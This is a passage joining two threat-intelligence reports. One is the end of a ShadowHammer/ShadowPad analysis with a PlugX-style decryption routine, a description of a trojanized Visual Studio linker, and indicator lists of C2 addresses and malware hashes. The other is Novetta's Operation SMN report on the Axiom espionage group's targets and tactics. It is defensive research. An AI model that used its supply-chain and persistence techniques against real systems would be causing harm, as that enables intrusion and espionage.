The IP address range 23.236.64.0-23.236.79.255 belongs to the Chinese hosting company Aoyouhost LLC, incorporated in Los Angeles, CA. Another IP address (117.16.142[.]9) belongs to a range listed as the Korean Education Network and likely belongs to Konkuk University (konkuk.ac.kr). This IP address range has been previously reported by Avast as one of those related to the ShadowPad activity linked to the CCleaner incident. It seems that the ShadowPad attackers are still abusing the university’s network to host their C2 infrastructure.
## PlugX Connection
While analyzing the malicious payload injected into the signed ASUS Live Updater binaries, we came across a simple custom encryption algorithm used in the malware. We found that ShadowHammer reused algorithms used in multiple malware samples, including many of PlugX. PlugX is a backdoor quite popular among Chinese-speaking hacker groups. It had previously been seen in the Codoso, MenuPass, and Hikit attacks. Some of the samples we found (i.e., md5:5d40e86b09e6fe1dedbc87457a086d95) were created as early as 2012 if the compilation timestamp is anything to trust.
Apparently, both pieces of code share the same constants (0x11111111, 0x22222222, 0x33333333, 0x44444444), but also implement identical algorithms to decrypt data, summarized in the Python function below.
```python
from ctypes import c_uint32
from struct import pack, unpack
def decrypt(data):
p1 = p2 = p3 = p4 = unpack("<L", data[0:4])[0]
pos = 0
decdata = ""
while pos < len(data):
p1 = c_uint32(p1 + (p1 >> 3) - 0x11111111).value
p2 = c_uint32(p2 + (p2 >> 5) - 0x22222222).value
p3 = c_uint32(p3 - (p3 << 7) + 0x33333333).value
p4 = c_uint32(p4 - (p4 << 9) + 0x44444444).value
decdata += chr((ord(data[pos]) ^ ((p1 % 256 + p2 % 256 + p3 % 256 + p4 % 256) % 256)))
pos += 1
return decdata
```
While this does not indicate a strong connection to PlugX creators, the reuse of the algorithm is unusual and may suggest that the ShadowHammer developers had some experience with PlugX source code, and possibly compiled and used PlugX in some other attacks in the past.
## Compromising Software Developers
All of the analyzed ASUS Live Updater binaries were backdoored using the same executable file patched by an external malicious application, which implemented malware injection on demand. After that, the attackers signed the executable and delivered it to the victims via ASUS update servers, which was detected by Kaspersky Lab products.
However, in the non-ASUS cases, the malware was seamlessly integrated into the code of recently compiled legitimate applications, which suggests that a different technique was used. Our deep search revealed another malware injection mechanism, which comes from a trojanized development environment used by software coders in the organization.
In late 2018, we found a suspicious sample of the link.exe tool uploaded to a public malware scanning service. The tool is part of Microsoft Visual Studio, a popular integrated development environment (IDE) used for creating applications for Microsoft Windows. The same user also uploaded digitally signed compromised executables and some of the backdoors used in the same campaign.
The attack is comprised of an infected Microsoft Incremental Linker, a malicious DLL module that gets loaded through the compromised linker. The malicious DLL then hooks the file open operation and redirects attempts to open a commonly used C++ runtime library during the process of static linking. The redirect destination is a malicious .lib file, which gets linked with the target software instead of the legitimate library. The code also carefully checks which executable is being linked and applies file redirection only if the name matches the hardcoded target file name.
So, was it a developer from a video game company that installed the trojanized version of the development software, or did the attackers deploy the Trojan code after compromising the developer’s machine? This currently remains unknown. While we could not identify how the attackers managed to replace key files in the integrated development environment, this should serve as a wakeup call to all software developers. If your company produces software, you should ask yourself:
1. Where does my development software come from?
2. Is the delivery process (download) of IDE distributions secure?
3. When did we last check the integrity of our development software?
## Other Victims
During the analysis of samples related to the updated ShadowPad arsenal, we discovered one unusual backdoor executable (md5: 092ae9ce61f6575344c424967bd79437). It comes as a DLL installed as a service that indirectly listens to TCP port 80 on the target system and responds to a specific URL schema, registered with Windows HTTP Service API: `http://+/requested.html`. The malware responds to HTTP GET/POST requests using this schema and is not easy to discover, which can help it remain invisible for a long time.
Based on the malware network behavior, we identified three further, previously unknown, victims: a video game company, a conglomerate holding company, and a pharmaceutical company, all based in South Korea, which responded with a confirmation to the malware protocol, indicating compromised servers. We are in the process of notifying the victim companies via our local regional channels.
Considering that this type of malware is not widely used and is a custom one, we believe that the same threat actor or a related group are behind these further compromises. This expands the list of previously known usual targets.
## Conclusions
While attacks on supply chain companies are not new, the current incident is a big landmark in the cyberattack landscape. Not only does it show that even reputable vendors may suffer from compromising of digital certificates, but it raises many concerns about the software development infrastructure of all other software companies. ShadowPad, a powerful threat actor, previously concentrated on hitting one company at a time. Current research revealed at least four companies compromised in a similar manner, with three more suspected to have been breached by the same attacker. How many more companies are compromised out there is not known. What is known is that ShadowPad succeeded in backdooring developer tools and, one way or another, injected malicious code into digitally signed binaries, subverting trust in this powerful defense mechanism.
Does it mean that we should stop trusting digital signatures? No. But we definitely need to investigate all strange or anomalous behavior, even by trusted and signed applications. Software vendors should introduce another line in their software building conveyor that additionally checks their software for potential malware injections even after the code is digitally signed.
At this unprecedented scale of operations, it is still a mystery why attackers reduced the impact by limiting payload execution to 600+ victims in the case of ASUS. We are also unsure who the ultimate victims were or where the attackers had collected the victims' MAC addresses from. If you believe you are one of the victims, we recommend checking your MAC address using this free tool or online check website. And if you discover that you have been targeted by this operation, please email us at [email protected].
We will keep tracking the ShadowPad activities and inform you about new findings!
## Indicators of Compromise
**C2 servers:**
- 103.19.3[.]17
- 103.19.3[.]43
- 103.19.3[.]44
- 117.16.142[.]9
- 23.236.77[.]175
- 23.236.77[.]177
**Malware samples and trojanized files:**
- 02385ea5f8463a2845bfe362c6c659fa
- 915086d90596eb5903bcd5b02fd97e3e
- 04fb0ccf3ef309b1cd587f609ab0e81e
- 943db472b4fd0c43428bfc6542d11913
- 05eacf843b716294ea759823d8f4ab23
- 95b6adbcef914a4df092f4294473252f
- 063ff7cc1778e7073eacb5083738e6a2
- 98908ce6f80ecc48628c8d2bf5b2a50c
- 06c19cd73471f0db027ab9eb85edc607
- 9d86dff1a6b70bfdf44406417d3e068f
- 0e1cc8693478d84e0c5e9edb2dc8555c
- a17cb9df43b31bd3dad620559d434e53
- 0f49621b06f2cdaac8850c6e9581a594
- a283d5dea22e061c4ab721959e8f4a24
- 128cecc59c91c0d0574bc1075fe7cb40
- a4b42c2c95d1f2ff12171a01c86cd64f
- 17a36ac3e31f3a18936552aff2c80249
- a76a1fbfd45ad562e815668972267c70
- 1a0752f14f89891655d746c07da4de01
- a96226b8c5599e3391c7b111860dd654
- 1b95ac1443eb486924ac4d399371397c
- a9c750b7a3bbf975e69ef78850af0163
- 1d05380f3425d54e4ddfc4bacc21d90e
- aa15eb28292321b586c27d8401703494
- 1e091d725b72aed432a03a505b8d617e
- aac57bac5f849585ba265a6cd35fde67
- 2ffc4f0e240ff62a8703e87030a96e39
- aafe680feae55bb6226ece175282f068
- 322cb39bc049aa69136925137906d855
- abbb53e1b60ab7044dd379cf80042660
- 343ad9d459f4154d0d2de577519fb2d3
- abbd7c949985748c353da68de9448538
- 36dd195269979e01a29e37c488928497
- b042bc851cafd77e471fa0d90a082043
- 3c0a0e95ccedaaafb4b3f6fd514fd087
- b044cd0f6aae371acf2e349ef78ab39e
- 496c224d10e1b39a22967a331f7de0a2
- b257f366a9f5a065130d4dc99152ee10
- 4b8d5ae0ad5750233dc1589828da130b
- b4abe604916c04fe3dd8b9cb3d501d3f
- 4fb4c6da73a0a380c6797e9640d7fa00
- b572925a7286355ac9ebb12a9fc0cc79
- 5220c683de5b01a70487dac2440e0ecb
- b96bd0bda90d3f28d3aa5a40816695ed
- 53886c6ebd47a251f11b44869f67163d
- c0116d877d048b1ba87c0de6fd7c3fb2
- 55a7aa5f0e52ba4d78c145811c830107
- c778fc8e816061420c537db2617e0297
- 5855ce7c4a3167f0e006310eb1c76313
- cdb0a09067877f30189811c7aea3f253
- 5b6cd0a85996a7d47a8e9f8011d4ad3f
- d07e6abebcf1f2119622c60ad0acf4fa
- 5eed18254d797ccea62d5b74d96b6795
- d1ed421779c31df2a059fe0f91c24721
- 6186b317c8b6a9da3ca4c166e68883ea
- d4c4813b21556dd478315734e1c7ae54
- 63606c861a63a8c60edcd80923b18f96
- dc15e578401ad9b8f72c4d60b79fdf0f
- 63f2fe96de336b6097806b22b5ab941a
- dca86d2a9eb6dc53f549860f103486a9
- 6ab5386b5ad294fc6ec4d5e47c9c2470
- dd792f9185860e1464b4346254b2101b
- 6b38c772b2ffd7a7818780b29f51ccb2
- e7dcfa8e75b0437975ce0b2cb123dc7b
- 6cf305a34a71b40c60722b2b47689220
- e8db4206c2c12df7f61118173be22c89
- 6e94b8882fe5865df8c4d62d6cff5620
- ea3b7770018a20fc7c4541c39ea271af
- 7d9d29c1c03461608bcab930fef2f568
- eac3e3ece94bc84e922ec077efb15edd
- 807d86da63f0db1fc746d1f0b05bc357
- ecf865c95a9bec46aa9b97060c0e317d
- 849a2b0dc80aeca3d175c139efe5221c
- ef43b55353a34be9e93160bb1768b1a6
- 8505484efde6a1009f90fa02ca42f011
- f0ba34be0486037913e005605301f3ce
- 8578f0c7b0a14f129cc66ee236c58050
- f2f879989d967e03b9ea0938399464ab
- 86a4cac227078b9c95c560c8f0370bf0
- f4edc757e9917243ce513f22d0ccacf2
- 8756bafa7f0a9764311d52bc792009f9
- f9d46bbffa1cbd106ab838ee0ccc5242
- 87a8930e88e9564a30288572b54faa46
- fa83ffde24f149f9f6d1d8bc05c0e023
- 88777aacd5f16599547926a4c9202862
- fa96e56e7c26515875214eec743d2db5
- 8baa46d0e0faa2c6a3f20aeda2556b18
- fb1473e5423c8b82eb0e1a40a8baa118
- 8ef2d715f3a0a3d3ebc989b191682017
- fcfab508663d9ce519b51f767e902806
- 092ae9ce61f6575344c424967bd79437
- 7f05d410dc0d1b0e7a3fcc6cdda7a2ff
- eb37c75369046fb1076450b3c34fb8ab
|
# Operation SMN: Axiom Threat Actor Group Report
## Key Findings
Axiom is responsible for directing highly sophisticated cyber espionage operations against numerous Fortune 500 companies, journalists, environmental groups, pro-democracy groups, software companies, academic institutions, and government agencies worldwide for at least the last six years. In our coordinated effort, we performed the first-ever private-sponsored interdiction against a sophisticated state-sponsored advanced threat group. Our efforts detected and cleaned 43,000 separate installations of Axiom tools, including 180 of their top-tier implants. This report will expand upon the following key findings:
- A coordinated effort across the private sector can have quantifiable impact on state-sponsored threat actors.
- The Axiom threat group is a well-resourced, disciplined, and sophisticated subgroup of a larger cyber espionage group that has been directing operations unfettered for over six years.
- Novetta has moderate to high confidence that the organization tasking Axiom is a part of the Chinese Intelligence Apparatus. This belief has been partially confirmed by a recent FBI flash released to Infragard stating the actors are affiliated with the Chinese government.
- Axiom actors have victimized pro-democracy non-governmental organizations (NGOs) and other groups and individuals that would be perceived as a potential threat to the stability of the Chinese state.
- Axiom operators have been observed operating in organizations that are of strategic economic interest, that influence environmental and energy policy, and that develop cutting-edge information technology including integrated circuits, telecommunications equipment manufacturers, and infrastructure providers.
- Later stages of Axiom operations leverage command and control infrastructure that has been compromised solely for the targeting of individual or small clusters of related targeted organizations.
- Axiom uses a varied toolset ranging from generic malware to very tailored, custom malware designed for long-term persistence that at times can be measured in years. In descending order of observed scarcity these families are:
- Zox family (ZoxPNG, ZoxRPC)/Gresim
- Hikit
- Derusbi
- Fexel/Deputy Dog
- Hydraq/9002/Naid/Roarur/Mdmbot
- ZXShell/Sensode
- PlugX/Sogu/Kaba/Korplug/DestroyRAT
- Gh0st/Moudour/Mydoor
- Poison Ivy/Darkmoon/Breut
## Operation SMN Background
Operation SMN is a coordinated effort amongst leading private-industry security companies, led by Novetta. The initial focus of Operation SMN was to conduct the first industry-led interdiction effort against a sophisticated advanced threat actor group. This collaboration represents an evolution of the status quo from simple reporting of identified threats to a new methodology of coordinated interdiction. During this operation, the group performed malware removal, released detection signatures, and issued public reporting to mitigate the threat posed by the actor group. For the purposes of this document, the name “Axiom” will refer to this threat group.
This effort was initially focused on transferring the understanding generated by Novetta’s malware decoder development to Microsoft, via their Coordinated Malware Eradication program, to create high-fidelity signatures for the Hikit malware family. These co-developed signatures between Novetta and Microsoft were slated for inclusion in a Malicious Software Removal Tool (MSRT) release that would initially only target the Hikit malware family. Upon the initial few iterations of information sharing and signature development between Microsoft and Novetta, it became clear that by leveraging additional industry partners a much larger sample set could be collected, analyzed, and acted upon. This fueled the selective expansion of the partnership into a small group of capable organizations that could contribute directly to the CME campaign.
The expansion of operational scope brought with it discussions of not only targeting the Hikit family of malware, but also refocusing efforts to target the entire known set of associated tools and malware capabilities. It was at this junction that the group decided on a more comprehensive course of action that would leverage the MSRT capabilities for detection and removal, as well as distribute the corpus of samples, analysis, and knowledge to the entire industry via Microsoft's Virus Information Alliance. The group saw that this was the most effective means to broadly distribute highly sensitive information to 64 trusted industry partners in 22 separate countries for their own use, and to protect their customers.
This chain of events enabled Operation SMN members to plan and execute a global disruption and degradation campaign, exposing a Chinese state-sponsored threat actor that has targeted and exploited individual victims and organizations worldwide. Novetta feels that the unified approach developed within Operation SMN, which united multiple perspectives and capabilities across private industry, provides the highest level of visibility and establishes the foundation necessary to effectively counter a threat of this nature. It is Novetta’s hope that others within the industry will embrace and adopt a similar approach in the future.
## Operational Impact
On Tuesday, October 14, 2014, Operation SMN took its first public action as a Coordinated Malware Eradication campaign (CME-2014-03). This first action consisted of efforts intended to impede the ability of this and other threat actors to leverage this suite of tools. To do so, the coalition:
- Released detection and removal signatures for related malware both publicly and through our coalition partners into their customer bases.
- Provided detection guidance to trusted security partners, including those in the Microsoft Virus Information Alliance program, so that as many potentially affected victims as possible will have detection and protection against this threat.
- Released several stages of reporting designed to raise awareness and highlight the tools, techniques, and procedures leveraged by Axiom and some affiliated groups.
The breadth and scope of Axiom’s operations served as motivation and justification for the approach adopted by the coalition of large-scale data capture, analysis, and distribution of both data and analytical output to industry. In the intervening period, the coalition has received a substantial amount of information relating to the removal of these malware tools. To date, over 43,000 separate installations of Axiom-related tools have been removed from machines protected by Operation SMN partners, and 180 of those infections were examples of Hikit, the late-stage persistence and data exfiltration tool that represents the height of an Axiom victim’s operational lifecycle.
## Axiom Targeting
Novetta has observed that Axiom’s activity largely centers on using Hikit within victim networks post-compromise. The configuration files extracted from Hikit binaries used in Axiom’s operations give identifiable campaign comments that provide strong indications of the intended targets.
From our analysis, we believe that organizations infected with Hikit are significant to the goals behind those tasking Axiom operations. Though many organizations may have been targeted and compromised with initial stages of implants, the occurrence of Hikit activity within an entity indicates that the organization responsible for Axiom tasking considers it of importance or, alternatively, that the target is relatively hardened and more specialized malware is needed.
Within these targets, Axiom has been observed as going out of its way to ensure continued access regardless of changes to its target’s network topology or security controls. Axiom’s Hikit operators have been observed returning to compromised organizations on a scheduled basis, and even performing targeted lateral compromises based on the geographic locations of network egress points as well as the introduction of new security controls.
Among the industries we observed targeted or potentially infected by Hikit:
- Asian and Western government agencies responsible for:
- Government records and communications agencies
- Law enforcement
- Environmental policy
- Personnel management
- Space and aerospace exploration and research
- Government auditing and internal affairs
- Electronics and integrated circuit manufacturers
- Networking equipment manufacturers
- Internet-based services companies
- Software vendors, especially in the APAC region
- Journalism and media organizations
- NGOs, specifically those which deal with human rights or environmental policy
- International consulting and analysis firms
- Law firms with an international or heavy M&A financial footprint
- Telecommunications firms
- Manufacturing conglomerates
- Venture capital firms
- Energy firms
- Meteorological services companies
- Cloud computing companies
- Pharmaceutical companies
- Highly regarded US academic institutions
These industries cover an array of targeted organizations spanning multiple countries including the United States, South Korea, Taiwan, Japan, and the European Union. Novetta has observed potential compromises from the following geographic areas:
## Targeting and China’s Strategic Goals
Axiom’s actions targeting the above industries have fit in particularly well with China’s strategic interests and with their most recent Five Year Plans accepted in 2006 and 2011. The 12th Five Year Plan displays China’s new direction of pursuing advanced technology and advanced R&D efforts. As China begins its shift away from dependence on foreign technology (specifically the US), more and more corporations and organizations may be targeted by Axiom, and/or other groups that receive the same or similar tasking, as the Chinese play catch-up. The following sections detail how Axiom’s Hikit operations line up with official policy.
### Semiconductor and Networking Technology
As part of the 12th Five Year Plan, semiconductor and network device manufacturing were two main areas of focus for growth that China has emphasized to minimize foreign dependencies and increase potential consumption of domestic internet services. Of the many ways the Chinese could acquire this knowledge and technology to further their stated goals, the fastest would be the theft of trade and technology secrets from Western corporations, especially those with offices in China. We have strong indications based on Hikit analysis that these industries have been targeted by Axiom operations.
### Human Intelligence
Information on individuals stored by Western and Asian government entities has also been targeted by Axiom. Information held by these organizations includes details on individuals with access to confidential or classified information, which would be extremely useful for intelligence and counterintelligence operations. Additionally, it should be noted that this sort of information could also be used to enable or extend technical and human operations against target organizations and individuals. For example, this can be done through remote network-based attacks, tailored spear phishing, targeted social media delivery, physical delivery and transfer of data through non-technical means, and traditional human operations.
### Non-Governmental Organizations
Axiom has demonstrated a clear interest in compromising NGOs that deal with international politics, environmental policy, pro-democracy movements, or human rights issues. Novetta has observed at least one operation where Axiom compromised a satellite office of one of these organizations and then appeared to have moved laterally into that organization’s main headquarters. Much has been written of China’s dissatisfaction with their reputation on the world stage, in particular criticism for human rights abuses and environmental issues stemming from rapid industrialization; these criticisms are often viewed as a blow to the authority of the ruling party and to the “soft power” of their nation-state, which China has been keen on developing in recent years. Monitoring these kinds of organizations could allow the Chinese government to track these watchdog organizations and potentially accomplish more traditional goals such as the suppression of dissidents or intimidation of whistleblowers.
## Previous Public Reporting
In addition to the malware binaries that Novetta has analyzed and attributed to Axiom, we have found similarities in several high-profile cyber attacks since 2009. The following timeline details some of the attacks that we know exhibit similar TTPs or leverage overlapping tools and infrastructure with those we have attributed to Axiom:
- June - December 2009: Operation Aurora (Hydraq)
- December 2009: Elderwood Project leveraging 0days (Hydraq)
- March, April, June 2011: Elderwood Platform Attacks
- April, May, August 2012: Elderwood Platform Attacks
- June - July 2012: VOHO Campaign wateringhole attacks (Gh0st RAT, Hydraq)
- July 2012 - January 2013: Bit9 Compromise (Hikit)
- June 2013: Shell_Crew Compromise of ColdFusion Server (Derusbi)
- September 2013: Operation Deputy Dog Attack on Japanese Targets
- November 2013: Operation Ephemeral Hydra involving Internet Explorer Zero-day (DeputyDog)
- January 2014: 3 new 0-Day exploits leveraged by Elderwood Platform
- February 2014: Operation Snowman attack on the US Veterans of Foreign Wars website (DeputyDog)
- June - July 2014: American Middle Eastern Policy think tank attacks
As part of Operation Aurora, Google, Adobe, Rackspace, and 32 other companies were compromised in similar fashion by attackers with connections to China, who we believe exhibit some of Axiom’s characteristics. Microsoft also reported being subject to similar style attacks, though those attempts were unsuccessful. In April 2013, Microsoft’s David Aucsmith suggested that the Aurora campaign that targeted Google may have been part of a larger Chinese counterintelligence operation aimed at gaining insights into Chinese Gmail accounts which were under FISA (Foreign Intelligence Surveillance Act) surveillance. Later, in May 2013, the Washington Post would report that according to current and former government officials, the Chinese had successfully accessed Google’s database of flagged email accounts that were placed under 702 foreign surveillance by U.S. Law Enforcement and counterintelligence. It is unclear whether these exploitation operations can be directly linked to Axiom; however, we have seen direct evidence that Axiom is highly interested in targeting organizations with data that may aid human intelligence or counterintelligence operations.
During the summer of 2012, the VOHO Campaign was discovered by private industry to be leveraging watering-hole attacks and several exploits to download and install variants of Gh0st RAT and Hydraq. The VOHO attacks occurred in two phases, each phase using a different zero-day vulnerability, over multiple weeks during July 2012. According to RSA’s reporting on this campaign, nearly 1,000 organizations across multiple industries were impacted during the first phase, resulting in roughly 4,200 individual machines being compromised. During this multi-phased attack campaign, security firm Bit9 was targeted and Axiom operators gained access to a Bit9 digital certificate, which they then used to sign custom variants of the Hikit malware in an effort to bypass the additional security provided by their product at specific organizations within the VOHO target set.
The ability to target, compromise, and filter tens of thousands of individual infections across nearly 1,000 organizations, in order to identify victims to further other active attacks indicates a level of technical, organizational, and operational sophistication not typically seen. The techniques used and malware delivered in the VOHO Campaign have been tied to Axiom, and the use of digital certificates to deliver malware is also a well-known technique for Axiom. Watering-hole attacks that include 0-day exploits require planning and sophistication, as the attackers need to identify sites frequented by their targets, compromise those third-party website(s), have available 0-day exploits, and then ultimately compromise the visiting targets’ systems. Coupling a watering hole attack with a supply chain attack requires even more planning. The fact that the VOHO watering hole attack, the Bit9 compromise, and the delivery of the custom Hikit malware all occurred within a one-week period suggests a highly organized group able to carry out simultaneous and independent objectives against larger goals, possibly under the direction and supervision of a larger organization.
Another series of attacks named the Elderwood Project began in late 2009 and used a notably large number of zero-day vulnerabilities to deliver malware (Hydraq) onto targeted networks. The attackers delivered these exploits using a variety of methods including a watering hole attack targeting the Amnesty International Hong Kong website, which may provide insight into at least some of the victims targeted. The threat actors behind these attacks had access to multiple critical zero-day vulnerabilities, suggesting the group had resources to develop them or to acquire them from others. It should also be noted that the stated techniques of the actors behind Elderwood include targeting of supply-chain organizations of their intended targets. American think tanks focusing on Iraq have also been targets of watering-hole attacks that utilize malware also occasionally used by the Axiom group: Derusbi. The attack was specifically looking for users with identified Chinese, US English, Russian, Japanese, or Korean language machines. Although previous Chinese cyber attacks targeting think tanks have concentrated on those involved in East Asian policy, this shift may be reflective of China’s renewed interest in the Middle East due to their dependence on oil production from this region. Although this is not as strong a link to the Axiom threat group, the fact that Derusbi was used is notable, as this malware is not widely distributed beyond intermediate stages of operations that have been attributed to Axiom.
When comparing the last three campaigns discussed (VOHO, Elderwood Project, and Iraq-focused think tanks), beyond the toolset:
- They all used waterholing as their primary initial infection vector.
- They all required the ability to sift potentially large sets of infected machines to identify targets of high interest for further exploitation.
- They all targeted (at least in part) non-profit organizations that deal with information related to Chinese policy or Chinese stated interests.
The fact that the primary beneficiary of information stolen in these campaigns is not military or directly financial, but rather intelligence benefiting Chinese domestic and international policies, is highly telling and implies the Chinese Intelligence Apparatus could be behind such attacks.
## Domestic Targeting
In addition to international organizations of strategic interest, it also appears that Axiom has used Hikit internally to gather information on domestic Chinese targets. Cyber operations within China’s own borders may be reflective of the Communist Party’s emphasis on maintaining internal state security to ensure domestic stability, as the past three decades of rapid economic change have brought about a significant wage gap, unemployment issues, environmental issues, and other societal issues, in addition to long-standing issues such as disparate ethnic groups and territorial disputes. The CPC has subsequently dedicated significant resources toward domestic security: although domestic security spending for 2014 was not revealed by official sources, in the three years prior it has consistently exceeded the military budget.
Among the well-funded entities tasked with domestic security are the Ministry of Public Security and the Ministry of State Security. In particular, the latter organization is the primary non-military security agency of China and is tasked with not only domestic surveillance but also foreign intelligence and counterintelligence.
Much of previous public reporting on Chinese threat groups has concentrated on the cyber capabilities and information warfare of the People’s Liberation Army (PLA). In particular, the Third Department serves as the PLA’s telecommunications reconnaissance bureau charged with SIGINT for foreign intelligence operations. The Third Department is divided into twelve bureaus, each ostensibly having a dedicated mission. For instance, the 2nd Bureau, or Unit 61398, has been directly linked by security researchers to attacks primarily focused on English-language organizations of strategic importance to China. While this group has been responsible for a significant number of cyber attacks, the group’s profiled operational security and tactics do not appear to be as sophisticated as those attributed to Axiom. In fact, researchers were able to directly link individuals to this bureau due to activity on social media as well as identifiable indicators used to register campaign command and control (C2) infrastructure, including domains or emails. Other individuals linked to Unit 61398 cyber operations have also been profiled by the FBI in an indictment of five Chinese military intelligence officers. In contrast, there have been no identified mistakes in operational security on the part of Axiom operators to date.
Other attacks targeting satellite/aerospace industries have been linked to the Third Department’s 12th Bureau, Unit 61486. Again, at least one individual has been connected to this activity using open-source intelligence due to a presence on social media and clues found in campaign infrastructure information, suggesting a lax operational security when compared to what has been observed with Axiom. Furthermore, attack activity from Unit 61486 has been linked to Unit 61398 based on shared infrastructure. This might suggest some degree of cooperation or overlap between these teams and missions in the Third Department that we have not yet observed between previously identified Chinese threat groups and Axiom, beyond the usage of commonly available malware. However, we cannot discount the possibility that previously reported Chinese threat groups could be linked to Axiom, or that both could be part of a larger organization.
While it appears that the identified missions of most if not all units of the Third Department remain focused on foreign intelligence and defensive network security, there are some indications that a few PLA bureaus do engage in unconfirmed domestic monitoring to some degree, including monitoring of domestic broadcasts. Nevertheless, based on observed TTPs of identified PLA threat groups compared to Axiom activity, we believe that Axiom operates based on a different mission and has resources that previously reported and identified PLA cyber operators do not have.
When examining Axiom’s possible domestic attack activity, we have identified several instances of Hikit present on machines located in China or Hong Kong, dating at least as far back as January 2012. This would indicate domestic monitoring in addition to foreign operations and may suggest that the group to which Axiom belongs is an entity charged with domestic security. Additional telemetry we have observed suggests that Axiom may also target Chinese citizens, possibly dissidents, in foreign countries (including the United States and Asia-Pacific countries), based on the presence of Hikit on machines configured to use simplified Chinese. In particular, at least one Hikit sample was observed targeting a Chinese-language machine located in the United States; the filename “LiulanqiXunzhang.exe.tdl” appears to reference a browser (浏览器).
Certain indicators from Hikit binaries detected on machines in China or Hong Kong also provide further insight into how these domestic victims are targeted by Axiom. The filenames of the malware, for instance, show that they were likely curated for Chinese speakers, as seen with Chinese-language file names including at least one referring to QQ, the popular messaging application. Other more generically popular applications like Adobe Flash Player were also used as potential lures or means of hiding in plain sight. Novetta has also observed that Chinese-related filenames of commodity malware that has been used by both Axiom as well as other threat groups (e.g., Poison Ivy, PlugX, etc.) may also reflect a lively underground trade; some of the filenames we have observed are listed below.
### Filenames of some malware binaries present on machines located in China
| Original Filename | Translation | Malware Family |
|-------------------|-------------|----------------|
| QQ6.3_6.3.12382.exe.P2P | | Hikit |
| baofeng.exe.td | | Hikit |
| CODOL_Formal_1.2.2.10_1.2.12_1550_1D.exe.ttd | | Hikit |
| LOL_V3132_1151_8D.exe.ttd | | Hikit |
| install_flash_player_ax_KB370237.exe.P2P | | Hikit |
| BDWebAdapterZip.dll.bdl | | Hikit |
| QQsetup.exe | | PlugX |
| www.0716che.com | | PlugX |
| www.6541601.com | | PlugX |
| www.6794945.com | | PlugX |
| ARP扫描.rar | ARP scanner | ZXShell |
| 各大0day.zip | Major 0day | ZXShell |
| 兄弟网络三版1433.exe | Fraternal Network Third Edition 1433 | ZXShell |
Although this information does not conclusively determine that Axiom conducts such operations, when compared with some binary file names it could indicate deliberate targeting. Additionally, Axiom has used at least one Chinese company’s certificate to sign a Hikit binary: 安微科大讯飞信息科技股份有限公司 (Anwei iFLYTek Information Technology Co. Ltd.), which specializes in voice recognition software and is owned in part by China Mobile, a State asset. While we do not know if domestic companies were compromised for Axiom’s purposes or, alternatively, have cooperated with Axiom campaigns, it again suggests Axiom's ability and potential desire to stage domestic operations. Other Chinese companies as well as popular Asian gaming companies have also been used to digitally sign malware samples.
In addition to Hikit, we have observed other Axiom-related malware targeting domestic organizations, including a few universities and research institutions in both Hong Kong and mainland China. Though this cannot be linked conclusively to Axiom Hikit operators, education institutions, particularly those in Hong Kong, would likely be of extreme importance for any monitoring of domestic activity -- not only is China worried about liberal academics, but also students, who have historically been leaders in pro-democracy movements as recently as this past summer with the Occupy Central protests in Hong Kong.
## Tactics, Techniques, and Procedures of Axiom
A wide range of mechanisms are used to reach the stage of an operation where Hikit is deployed. Observed methods include the traditional use of spear phishing, leveraging of generic and strategic website compromises, and targeted attacks against public-facing infrastructure. One of the many disturbing attributes of Axiom and their affiliated groups is their ability to create and leverage large pools of compromised machines, sift through them to identify the organizations of interest, and quickly (within hours or days) begin secondary follow-up exploitation operations. This rapid transition from identification to action on the objective demonstrates the level of sophistication and focus of these actors; it also suggests an integrated targeting element, with possible inputs from an authoritative tasking entity, which is responsible for issuing dynamic taskings. This modus operandi does not suggest that Axiom relies solely upon casting a large net for victimization; rather, the Axiom actors have a well-established tradition and capabilities that support focused targeting of both individuals and organizations.
Once inside an enterprise, Axiom begins reconnaissance almost immediately to establish where they are in the target’s network and to identify any changes that have been made to the environment. Once this initial reconnaissance stage has been completed and the information is collected, Axiom typically moves quickly to escalate privileges on compromised machines via previously compromised administrative accounts, local exploits, or remote exploits as demonstrated in the ZoxRPC malware. This escalation of privileges is typically in an attempt to dump the latest credentials they can gain access to on the victim network. This information is quickly accessed, compressed, encrypted, and exfiltrated by the actors. The turnaround for the use of this information after collection can vary from minutes to months.
The Axiom threat actor group has also demonstrated the operational flexibility of leveraging systems administration tools available within targeted organizations (e.g., Remote Desktop Protocol (RDP), remote administration tools). It has been observed several times that Axiom operators have even leveraged these capabilities as a means of maintaining additional persistence via setting “sticky keys” for RDP sessions. They also use custom tools containing network and local exploits, hacking utilities, and legitimate security tools for privilege escalation and lateral movement. By leveraging tools already available within a target organization, Axiom can forgo the need to potentially raise their profile by deploying additional malware that may trigger antivirus or IDS indicators. As a typical scenario when compromising an organization, this actor group will aim to orient themselves, move laterally, escalate privileges, dump credentials, and install other families of malware to hedge against detection of any one variant of their malware.
It has been observed in many of Axiom’s victim environments that the total number of malware families leveraged can exceed four separate “layers” of malware. These families of malware range in uniqueness from extremely common (Poison Ivy, Gh0st, ZXshell) to more focused tools used by Axiom and other threat groups directed by the same organization (Derusbi, Fexel) to tools only seen used by Axiom (ZoxPNG/ZoxRPC, Hikit). This is likely done to ensure a certain level of persistence and redundant command and control should one of the families ever become compromised. Additionally, once into later stages of their operations, Axiom operators will create and deploy shell utilities that are customized to the operational environment. Operators will also install data archival and compression tooling that may not already exist on the target machine. The flexibility and fluency of Axiom’s toolset, including the ability to produce custom tools, is yet another indicator of the technical and operational sophistication of this entity.
In support of this flexible tooling capability, Axiom has demonstrated a relatively sophisticated use of large amounts of legitimate and compromised internet infrastructure. Axiom has been observed grooming and leveraging an array of compromised proxy infrastructure within the United States, South Korea, Taiwan, Hong Kong, and Japan. Novetta has observed indications in various datasets that this compromised infrastructure can be created per campaign or target, or can be shared within a cluster of related targets. It is surmised that this method is a means to create confusion for any investigation into activity related to an Axiom intrusion, by leveraging the capabilities of Axiom tools and interweaving legitimate traffic to the same IP address during the compromise. The net effect of this tactic is to create a set of network traffic that at first glance appears to be legitimate traffic.
Beyond this generally stealthy technique for hiding malicious traffic, the ability to have access to a continual pool of compromised infrastructure in which to overlay their operations speaks to the ability of Axiom actors. They do not just comprise various Internet-facing platforms, but also have the organizational ability to deal with the capture, grooming, and maintenance of a large set of compromised infrastructure while in parallel executing technical operations and creating new targeting information for pursuit. On top of Axiom’s usage of compromised infrastructure, they also maintain supporting infrastructure accounts, such as dynamic DNS services, and VPS/hosting providers from a variety of United States and Chinese providers. This ability to leverage both compromised and legitimate infrastructure enables Axiom to adjust to a target’s security posture and potentially extend their access to a targeted organization.
## Victim Life Cycle
